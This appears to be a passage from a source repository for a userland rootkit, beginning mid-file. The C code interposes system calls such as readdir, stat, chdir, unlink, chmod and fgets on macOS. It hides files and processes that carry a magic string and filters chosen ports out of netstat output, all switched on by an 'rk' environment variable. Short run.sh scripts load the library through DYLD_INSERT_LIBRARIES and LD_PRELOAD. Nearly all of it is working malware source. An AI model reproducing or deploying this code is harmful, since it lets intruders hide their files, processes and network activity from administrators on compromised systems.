%d, %d\n", nbytes, dir->d_name, dir->d_reclen, dir->d_namlen); 454 | off += dir->d_reclen; 455 | }*/ 456 | 457 | } 458 | return r; 459 | } 460 | 461 | struct dirent *readdir_hook(DIR *dir) 462 | { 463 | struct dirent64 *p; 464 | char *cmd; 465 | 466 | if(getenv("rk")!=NULL) rkstatus=1; 467 | if(!rkstatus) return(readdir(dir)); 468 | p = readdir(dir); 469 | /*if(p && (is_proc_name("ps") || is_proc_name("pstree"))) 470 | { 471 | cmd = get_cmdline(*p->d_name==0x04?p->d_name+1:p->d_name); 472 | if(strstr(cmd, MAGIC)) 473 | p = readdir(dir); 474 | return (p); 475 | } 476 | if(p && strstr(p->d_name, MAGIC)) 477 | p = readdir(dir);*/ 478 | return (p); 479 | 480 | } 481 | 482 | 483 | struct dirent *readdir64_hook(DIR *dir) 484 | { 485 | struct dirent *p; 486 | char *cmd; 487 | 488 | 489 | if(getenv("rk")!=NULL) rkstatus=1; 490 | 491 | if(!rkstatus) 492 | return(readdir64(dir)); 493 | 494 | p = readdir64(dir); 495 | if(p && (is_proc_name("ps") || is_proc_name("pstree"))) 496 | { 497 | cmd = get_cmdline(*p->d_name==0x04?p->d_name+1:p->d_name); 498 | if(strstr(cmd, MAGIC)) 499 | p = readdir64(dir); 500 | return (p); 501 | } 502 | if(p && strstr(p->d_name, MAGIC)) 503 | p = readdir64(dir); 504 | return (p); 505 | } 506 | 507 | static int stat_hook(const char *path, struct stat *st) 508 | { 509 | if(getenv("rk")!=NULL) rkstatus=1; 510 | if(!rkstatus) 511 | return (stat(path, st)); 512 | 513 | if(strstr(path, MAGIC)) 514 | { 515 | errno = ENOENT; 516 | return (-ENOENT); 517 | } 518 | 519 | return (stat(path, st)); 520 | } 521 | 522 | static int stat64_hook(const char *path, struct stat64 *st) 523 | { 524 | 525 | if(getenv("rk")!=NULL) rkstatus=1; 526 | if(!rkstatus) 527 | return (stat64(path, st)); 528 | 529 | if(strstr(path, MAGIC)) 530 | { 531 | errno = ENOENT; 532 | return (-ENOENT); 533 | } 534 | return (stat64(path, st)); 535 | } 536 | /* 537 | static int __lxstat_hook(int ver, const char *path, struct stat *st) 538 | { 539 | 540 | if(!rkstatus) 541 | return (__lxstat(ver, path, st)); 542 | 543 | if(strstr(path, MAGIC)) 544 | { 545 | errno = ENOENT; 546 | return (-ENOENT); 547 | } 548 | return(__lxstat(ver, path, st)); 549 | } 550 | 551 | static int __lxstat64_hook(int ver, const char *path, struct stat64 *st) 552 | { 553 | 554 | if(!rkstatus) 555 | return(__lxstat64(ver, path, st)); 556 | 557 | if(strstr(path, MAGIC)) 558 | { 559 | errno = ENOENT; 560 | return (-ENOENT); 561 | } 562 | return(__lxstat64(ver, path, st)); 563 | } 564 | */ 565 | static int chdir_hook(const char *path) 566 | { 567 | 568 | if(getenv("rk")!=NULL) rkstatus=1; 569 | if(!rkstatus) 570 | return (chdir(path)); 571 | 572 | if(strstr(path, MAGIC)) 573 | { 574 | errno = ENOENT; 575 | return (-ENOENT); 576 | } 577 | return (chdir(path)); 578 | } 579 | 580 | static int unlinkat_hook(int fd, const char *path, int flag) 581 | { 582 | 583 | if(getenv("rk")!=NULL) rkstatus=1; 584 | if(!rkstatus) 585 | return (unlinkat(fd, path, flag)); 586 | 587 | if(strstr(path, MAGIC)) 588 | { 589 | errno = ENOENT; 590 | return (-ENOENT); 591 | } 592 | return(unlinkat(fd, path, flag)); 593 | } 594 | 595 | static int unlink_hook(const char *path) 596 | { 597 | 598 | if(getenv("rk")!=NULL) rkstatus=1; 599 | if(!rkstatus) 600 | return (unlink(path)); 601 | 602 | if(strstr(path, MAGIC)) 603 | { 604 | errno = ENOENT; 605 | return (-ENOENT); 606 | } 607 | return (unlink(path)); 608 | } 609 | 610 | static int chmod_hook(const char *path, int mode) 611 | { 612 | if(getenv("rk")!=NULL) rkstatus=1; 613 | if(!rkstatus) 614 | return (chmod(path, mode)); 615 | 616 | if(strstr(path, MAGIC)) 617 | { 618 | errno = ENOENT; 619 | return (-ENOENT); 620 | } 621 | return (chmod(path, mode)); 622 | } 623 | 624 | static int fchmodat_hook(int fd, const char *path, int mode) 625 | { 626 | 627 | if(getenv("rk")!=NULL) rkstatus=1; 628 | if(!rkstatus) 629 | return (fchmodat(fd, path ,mode)); 630 | 631 | if(strstr(path, MAGIC)) 632 | { 633 | errno = ENOENT; 634 | return (-ENOENT); 635 | } 636 | return (fchmodat(fd, path, mode)); 637 | } 638 | 639 | static int lchmod_hook(const char *path, int mode) 640 | { 641 | 642 | if(getenv("rk")!=NULL) rkstatus=1; 643 | 644 | if(!rkstatus) 645 | return (lchmod(path, mode)); 646 | 647 | if(strstr(path, MAGIC)) 648 | { 649 | errno = ENOENT; 650 | return (-ENOENT); 651 | } 652 | return (lchmod(path, mode)); 653 | } 654 | 655 | static char *fgets_hook(char *buf, int buf_size, FILE *fp) 656 | { 657 | int i; 658 | char str[8]; 659 | char *p; 660 | if(getenv("rk")!=NULL) rkstatus=1; 661 | 662 | p = fgets(buf, buf_size, fp); 663 | if(!rkstatus) 664 | return (p); 665 | if(p == NULL) return (p); 666 | if(is_proc_name("netstat")) 667 | { 668 | for(i=0;ports_list[i] != -1;i++) 669 | { 670 | sprintf(str, "%04x", ports_list[i]); 671 | toUp(str); 672 | if(!strncmp(p+15,str,4) || !strncmp(p+29,str,4)) 673 | { 674 | p = fgets(buf, buf_size, fp); 675 | if(p == NULL) return (p); 676 | } 677 | } 678 | } 679 | return(p); 680 | } 681 | 682 | DYLD_INTERPOSE(fgets_hook, fgets) 683 | //DYLD_INTERPOSE(fchmodat_hook, fchmodat) 684 | DYLD_INTERPOSE(lchmod_hook, lchmod) 685 | DYLD_INTERPOSE(chmod_hook, chmod) 686 | //DYLD_INTERPOSE(unlinkat_hook, unlinkat) 687 | DYLD_INTERPOSE(unlink_hook, unlink) 688 | DYLD_INTERPOSE(chdir_hook, chdir) 689 | DYLD_INTERPOSE(open_hook, open) 690 | //DYLD_INTERPOSE(getdirentries64_hook, getdirentries); 691 | DYLD_INTERPOSE(readdir_hook, readdir) 692 | //DYLD_INTERPOSE(getdirentries64_hook, __getdirentries64); 693 | //DYLD_INTERPOSE(open_hook, open_nocancel) 694 | //DYLD_INTERPOSE(open64_hook, open) 695 | DYLD_INTERPOSE(read_hook, read) 696 | DYLD_INTERPOSE(write_hook, write) 697 | DYLD_INTERPOSE(execve_hook, execve) 698 | DYLD_INTERPOSE(stat_hook, stat) 699 | DYLD_INTERPOSE(stat64_hook, stat64) 700 | /*DYLD_INTERPOSE(__lxstat_hook, __lxstat) 701 | DYLD_INTERPOSE(__lxstat64_hook, __lxstat64) 702 | DYLD_INTERPOSE(__libc_start_main_hook, __libc_start_main)*/ 703 | -------------------------------------------------------------------------------- /osx-version/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # after running bash, export rk variable to start the rootkit 3 | # ex: 4 | # 5 | # bash ~$ export rk=1 6 | # bash ~$ 7 | # 8 | DYLD_INSERT_LIBRARIES=`pwd`/libpreload.so /bin/bash 9 | -------------------------------------------------------------------------------- /osx-version/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | int i = 10; 6 | lero: 7 | if(i == 10) { 8 | printf("test\n"); 9 | i = 20; 10 | goto lero; 11 | } 12 | for(;;) sleep(1); 13 | 14 | } 15 | -------------------------------------------------------------------------------- /run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | LD_PRELOAD=`pwd`/libpreload.so /bin/bash 3 | -------------------------------------------------------------------------------- /test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void) 5 | { 6 | for(;;) sleep(1); 7 | } 8 | --------------------------------------------------------------------------------